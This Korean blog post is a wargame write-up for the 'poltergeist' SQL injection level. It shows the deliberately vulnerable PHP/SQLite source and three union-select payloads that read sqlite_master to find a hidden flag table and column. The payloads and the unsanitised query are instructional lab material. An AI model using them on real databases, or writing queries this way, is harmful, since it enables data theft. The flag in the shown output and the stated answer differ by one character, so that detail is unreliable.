728x90
<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

메타데이터를 이용하는 거 같아서 MySQL 방식으로 information_schema.tables를 이용하니 안된다.

SQLite는 메타데이터 이름이 다르다.

sqlite_master 테이블을 이용해 테이블 명과 칼럼 명을 알 수 있다.

테이블명 조회: select tbl_name from sqlite_master;

칼럼명 조회: select sql from sqlite_master;

대신 칼럼명 조회는 위의 예시 그대로 치면 모든 테이블의 칼럼들을 조회한다. 그리고 정확히는 테이블을 생성할 때 사용한 쿼리문이 나온다. 이로부터 칼럼명도 알 수 있다.

 union select를 이용해 위의 쿼리문을 실행하면 결과는 다음과 같다.

1. ?pw=' union select group_concat(tbl_name) from sqlite_master --

Hello member,flag_70c81d99

group_concat(칼럼명)을 사용하면 해당 칼럼의 모든 데이터들이 , (쉼표)를 구분자로 하여 합쳐진 문자열이 반환된다.

SQLite에서 한 줄 주석은 --이며 블록 주석(여러 줄 주석)은 /**/이다.

1번 입력값을 대입한 결과 member와 flag_70c81d99 테이블이 있다는 것을 알 수 있다.

문제에서 falg_70c81d99에 Flag가 있다고 하니 계속 조회한다.

2. ?pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99' --

Hello CREATE TABLE `flag_70c81d99` ( `flag_0876285c` TEXT )

flag_0876285c 칼럼이 있다는 것을 알 수 있다.

3. ?pw=' union select flag_0876285c from flag_70c81d99 --

Hello FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}

FLAG가 나온다.

답: ?pw=FLAG{ea5d3bbdcc4aec9abe416a9f66eaaa13}

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

nessie  (0) 2023.01.06
banshee  (0) 2023.01.05
manticore  (0) 2023.01.05
chupacabra  (0) 2023.01.05
cyclops  (0) 2023.01.04

+ Recent posts